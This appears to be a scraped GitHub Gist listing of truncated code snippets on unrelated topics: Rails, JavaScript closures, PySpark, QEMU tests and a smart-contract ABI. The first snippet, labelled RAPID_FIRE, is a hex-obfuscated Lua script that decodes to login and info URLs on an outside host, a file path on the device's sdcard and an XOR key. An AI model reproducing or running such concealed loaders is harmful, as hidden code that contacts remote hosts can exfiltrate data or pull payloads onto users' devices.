Skip to content

Instantly share code, notes, and snippets.

View j1lecks's full-sized avatar
🔧
working

Alex Johnson j1lecks

🔧
working
View GitHub Profile
---RAPID_FIRE
local s='6C6F63616C206C6F67696E55726C203D202268747470733A2F2F64676B2E7831302E6D782F4C6F67696E220A6C6F63616C20616C65727455726C203D202268747470733A2F2F64676B2E7831302E6D782F496E666F220A6C6F63616C2066696C6550617468203D20222F7364636172642F596F757246696C652E636667220A6C6F63616C20786F724B6579203D202250515253545533343536373839262A434445464748494A4B4C4D4E4F505152535455566465666768272C3C4748494A4B4C4D4E4F50515253545556576A6B6C6D6E6F70717273747576777879333435362C3C3E3F2F607E4A4B4C4D4E4F50515253545556464748494A4B4C4D4E4F6C6D6E323334355E262A28292D434445464748494A4B4C4D4E4F50515253545556575865666768696A6B6C6D6E6F7071727374374B4C4D4E4F50515253545534353637385B5D7B7D7C3B3A272C3C3E747532292D5F3D2B5B5D696A3233343536494A4B4C4D4E5152535455565762636465666768696A6B6C6D6E6F70717273744748494A4B4C4D4E68696A6B6C6D6E6F707172737475767778793031323334535455565758596465666768696A6B6C6D6E6F70717273747576773D2B5B5D7B7D7C3B3A272C3C3E3F2F434445464748497C3B3A272C3C3E3F220A202020200A6C6F63616C2068656164657273203D207B0A202020205B224
@lastforkbender
lastforkbender / nextgen_slots.py
Created March 28, 2025 04:29
Shows exact strategy outline for next-gen slots attr classes
global_slots_class_variable = ['_slotsA','_slotsB']
class Nextgen_Slots():
__slots__ = ('name', 'value')
def __init__(self):
self.name = name
self.value = value
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Test Socket.IO - Chef de District</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.7.2/socket.io.min.js"></script>
<style>
body {
@ajazfarhad
ajazfarhad / deep_dupable.rb
Created February 17, 2025 12:15
DeepDupable: A Rails Concern for Deep Duplicating Models with Associations
# The DeepDupable module provides a reusable `dup_with_assoc` method that allows deep duplication of ActiveRecord models, including their associations. It also supports prefixing a specified attribute (e.g., appending "Copy" to a title) and provides an option to automatically save the duplicated record.
###
# Deep Duplication: Clones the record along with all associated records (except `belongs_to` associations).
# ActionText Support: Handles duplication of ActionText::RichText fields properly.
# Attribute Prefixing: Allows adding a prefix to a specified attribute (e.g., "Copy of Title").
# Configurable Save: Can return an unsaved record or save it automatically.
module DeepDupable
extend ActiveSupport::Concern
@jaySmilet
jaySmilet / clouser-basic.js
Created February 17, 2025 12:13
Closures
function createCounter() {
let count = 0;
return function() {
count += 1;
return count;
};
}
let counter = createCounter();
console.log(counter()); // 1
[{"inputs":[{"internalType":"address payable","name":"factoryAddress","type":"address"},{"internalType":"uint256","name":"protocolFee_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"AddressEmptyCode","type":"error"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"CantLowerCurrentPercentages","type":"error"},{"inputs":[],"name":"CollectionSoldOut","type":"error"},{"inputs":[],"name":"CreatorTokenBase__InvalidTransferValidatorContract","type":"error"},{"inputs":[],"name":"FailedCall","type":"error"},{"inputs":[],"name":"InvadlidCollectionSize","type":"error"},{"inputs":[],"name":"InvalidAmount","type":"error"},{"inputs":[],"name":"InvalidInitialization","type":"error"},{"inputs":[],"name":"InvalidInputSizesDontMatch","type":"error"}
{
"name": "lianyun Token",
"symbol": "LY",
"description": "连云科技token.",
"image": "https://raw.githubusercontent.com/solana-developers/opos-asset/main/assets/CompressedCoil/image.png"
}
@shivaprasadbhat
shivaprasadbhat / fix
Created February 17, 2025 12:06
Example Gist
commit 14eadb4640f2eebdd4935ac31bafd5b810f8d2fb
Author: Shivaprasad G Bhat <sbhat@linux.ibm.com>
Date: Mon Feb 17 06:45:00 2025 -0500
tests: qemuhotplugtest: Set the cpu version at source for PPC64 tests
140ff3c5141 - commit fixated on the POWER9 in results xml which actually
would be the host-cpu(TODO?) at the moment on the source tree. With updates to
higher cpu versions this has to continuously be updated. Instead, update
the test source domains to use POWER9(or any) as fixed version so
@capableguptadotcom
capableguptadotcom / profiling.py
Last active February 17, 2025 19:03
profiles data of sql tables
from pyspark.sql import SparkSession
from pyspark.sql.functions import col, count, countDistinct, regexp_extract
from pyspark.sql.types import (
StructType, StructField, StringType, BooleanType, ArrayType, LongType, DoubleType
)
# Initialize Spark session
spark = SparkSession.builder.appName("MetadataExtractor").getOrCreate()
# JDBC configuration for MS SQL Server (update with your connection details)
// 양성혁
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
System.out.println("[과세금액 계산 프로그램]");
Scanner sc = new Scanner(System.in);
System.out.print("연소득을 입력해 주세요.:");